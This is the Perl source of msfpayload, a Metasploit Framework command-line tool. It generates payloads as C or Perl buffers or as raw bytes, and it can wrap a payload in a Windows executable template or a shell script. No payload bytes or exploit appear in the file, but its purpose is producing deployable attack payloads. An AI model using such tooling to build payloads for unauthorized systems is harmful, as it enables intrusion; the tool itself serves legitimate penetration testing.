#!/usr/bin/perl
###############

##
#         Name: msfpayload
#       Author: H D Moore <hdm [at] metasploit.com>
#      Version: $Revision: 1.36 $
#  Description: Command line interface for generating Metasploit payloads
#      License:
#
#      This file is part of the Metasploit Exploit Framework
#      and is subject to the same licenses and copyrights as
#      the rest of this package.
#
##

require 5.6.0;

use strict;
use FindBin qw{$RealBin};
use lib "$RealBin/lib";

use Getopt::Std;
use POSIX;

use Msf::TextUI;
use Pex;

no utf8;
no locale;

Msf::UI::ActiveStateSucks();
Msf::UI::BrokenUTF8();

my $ui = Msf::TextUI->new($RealBin);
my $FRAMEVERSION = $ui->Version;
my $VERSION = '$Revision: 1.36 $';

my %opts;
getopts('hv', \%opts);
Version() if($opts{'v'});

$ui->SetTempEnv('_MsfPayload', 1);
$ui->SetTempEnv('DebugLevel', 0);

my $exploits = { };
my $payloads = { };
my $payloadsIndex = $ui->LoadPayloads;

foreach my $key (keys(%{$payloadsIndex})) {
    $payloads->{$payloadsIndex->{$key}->SelfEndName} = $payloadsIndex->{$key};
}

$ui->SetTempEnv('_Payloads', $payloadsIndex);

my $sel = shift(@ARGV);
my $p = $payloads->{$sel};
Usage() if($opts{'h'});
Usage() if ! $p;

my $action = uc(pop(@ARGV));

foreach my $opt (@ARGV) {
  $ui->SetTempEnv(split('=', $opt));
}

$p->_Load;
$ui->SetTempEnv('_PayloadName', $sel);
$ui->SetTempEnv('_Payload', $p);

if (! $action || $action =~ /^S/)
{
    print "\n" . $ui->DumpPayloadSummary($p);
    exit(0);
}

Usage() if $action !~ /^C|^P|^R|^X/;

if ($action =~ /^R/) { print $p->Build; exit; }

if ($p->Multistage) {
    print STDERR "Warning: Multistage payloads only return first stage\n";
}

if ($action =~ /^X/) {
	my (%pos, %parch);
	
	map {   $pos{$_}++ } @{ $p->OS };
	map { $parch{$_}++ } @{ $p->Arch };

	# Generate a PE image for Windows payloads
	if ($pos{'win32'} && $parch{'x86'}) {
		ExportWinPE();
	}
	
	# Generate a shell script if there is no architecture
	if (! scalar(keys(%parch))) {
		print "#!/bin/sh\n" . $p->Build;
		exit(0);
	}
	
	print STDERR "Error: No export format is implemented for this payload\n";
	exit(0);
}


my $r = $action =~ /^C/ ? Pex::Text::BufferC($p->Build) : Pex::Text::BufferPerl($p->Build);

print $r;
exit(0);

sub Usage
{
    print STDERR "\n   Usage: $0 <payload> [var=val] <S|C|P|R|X>\n\n";
    print STDERR "Payloads: \n";
    print STDERR $ui->DumpPayloads(2, $payloads);
    print STDERR "\n";
    exit(0);
}

sub ExportWinPE {
	my $pedata;
	local $/;
	
	if(! open(TMP, "<$RealBin/data/msfpayload/template.exe")) {
		print STDERR "Error: Could not access the template executable: $!\n";
		exit(0);
	}

	$pedata = <TMP>;
	close (TMP);
	
	# Comments are limited to 512 bytes
	# Payloads are limited to 8192 bytes
	
	my $bin = $p->Build;
	if (length($bin) > 8192) {
		print STDERR "Error: The payload was too large to generate as an EXE\n";
		exit(0);
	}
	
	my $bin_off = index($pedata, 'PAYLOAD:');
	if ($bin_off == -1) {
		print STDERR "Error: Could not determine the payload start offset\n";
		exit(0);
	}
	
	# Replace the stub data with the actual payload
	substr($pedata, $bin_off, 8192, pack('a8192', $bin));


	my $com_off = index($pedata, 'COMMENT:');
	if ($com_off == -1) {
		print STDERR "Error: Could not determine the comment start offset\n";
		exit(0);
	}
		
	# Generate a comment for the executable
	my $com = "Created by msfpayload, a component of the Metasploit Framework ($FRAMEVERSION). ".
			  "This executable contains the ".$p->SelfEndName." payload, ".
			  "generated with the following set of options: ";

	foreach (keys %{ $ui->GetTempEnv() }) {
		next if $_ =~ /^_/;
		$com .= $_ ."=". $ui->GetTempEnv($_)." ";
	}
	
	# Replace the stub comment with payload information
	substr($pedata, $com_off, 512, pack('a512', $com));
	
	print $pedata;
	exit(0);
}

sub Version {
    my $ver = Pex::Utils::Rev2Ver($VERSION);
    print STDERR qq{
   Framework Version:  $FRAMEVERSION
  Msfpayload Version:  $ver

};
  exit(0);
}
